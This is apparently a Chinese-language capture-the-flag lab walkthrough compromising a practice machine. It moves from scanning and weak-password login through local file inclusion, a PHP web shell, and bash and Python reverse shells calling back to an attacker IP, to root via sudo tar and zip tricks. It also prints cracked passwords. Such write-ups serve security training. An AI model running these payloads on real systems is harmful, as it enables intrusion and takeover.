一、探测靶机IP(进行信息收集)
主机发现
arp-scan -l
nmap -sS -sV -T5 -p- 192.168.10.20 -A
二、进行目录枚举
发现dbadmin目录下有个test_db.php
进入后发现是一个登录界面,尝试弱口令,结果是admin,一试就出
得到加密后的密码
root 653F4B285089453FE00E2AAFAC573414
zico 96781A607F4E9F5F423AC01F0DAB0EBD
hash-identifier
可能为md5加密
得到密码
root 34kroot34
zico zico2215@
三、进入网页
把所有能点的都去看一下
看到等于号就测
发现目录遍历
dirsearch -u http://192.168.10.20
nikto -h http://192.168.10.20
还发现一个imp目录
/#wp-config.php#: #wp-config.php# file found. This file contains the credentials.
发现一个wp-config.php,这个文件一般可能存在账号密码
尝试利用php伪协议来进行利用
http://192.168.10.20/view.php?page=php://filter/read=convert.base64-encode/resource=wp-config.php%23
#尝试其他file://
http://192.168.10.20/view.php?page=file:///var/www/html/wp-config.php
http://192.168.10.20/view.php?page=php://filter/resource=wp-config.php.bak
这些尝试均失败,https://www.exploit-db.com/exploits/24044漏洞利用方法
<?php exec("/bin/bash -c 'bash -i >& /dev/tcp/192.168.10.11/6666 0>&1'");?>
Type类型改为文本文档,可以看到上传成功,并结合前面的目录遍历进行反弹shell
http://192.168.10.20/view.php?page=../../../../../usr/databases/shell.php
想直接反弹shell但是失败了
<?php echo exec('whoami'); ?>
这些都尝试了都报错了
<?php exec("/bin/sh -c 'sh -i >& /dev/tcp/192.168.10.11/6666 0>&1'"); ?>
<?php system("/bin/sh -c 'sh -i >& /dev/tcp/192.168.10.11/6666 0>&1'"); ?>
那就拼接
<?php echo system($_GET["cmd"]); ?>
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.10.11",6666));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
http://192.168.10.20/view.php?page=../../../../../usr/databases/shell.php&cmd=whoami
http://192.168.10.20/view.php?page=../../../../../usr/databases/shell.php&cmd=python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.10.11",6666));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
成功getshell,但是还是不清楚为什么前面不能直接getshell,后面看了配置信息,exec和system函数也没有被禁用
一开始的有可能是因为
-
命令中转义符号处理不当(
>&
被PHP或Shell错误解析)。 -
目标系统Bash的
/dev/tcp
特性被禁用,导致TCP重定向失败。 -
PHP执行环境权限不足,无法建立网络连接。
改用 system($_GET["cmd"])
并通过Python反弹Shell成功,是因为:
-
绕过符号转义问题:通过URL参数传递命令,避免PHP字符串解析干扰。
-
Python的可靠性:Python的
subprocess
和socket
模块更稳定且不受/dev/tcp
限制。 -
动态执行绕过限制:
$_GET["cmd"]
可能绕过某些静态代码检测机制。
四、提权
建立交互式终端
python -c "import pty; pty.spawn('/bin/bash');"
进去查看一下wp-config.php有没有密码
find / -name "wp-config.php" 2>/dev/null
zico
sWfCsfJSPV9H3AmQzw8
find / -perm -4000 -print 2>/dev/null
有su命令可以切换用户
先查看历史命令,可以看到这里是利用过公钥私钥,还有sudo命令的利用,编辑过to_do文档
cat to_do.txt
sudo -l
方法一
https://gtfobins.github.io/gtfobins/tar/#sudo
sudo tar -cf /dev/null /dev/null --checkpoint=1 --checkpoint-action=exec=/bin/sh
成功提权
方法二
https://gtfobins.github.io/gtfobins/zip/#sudo
TF=$(mktemp -u)
sudo zip $TF /etc/hosts -T -TT 'sh #'
flag
当然还可以进行脏牛提权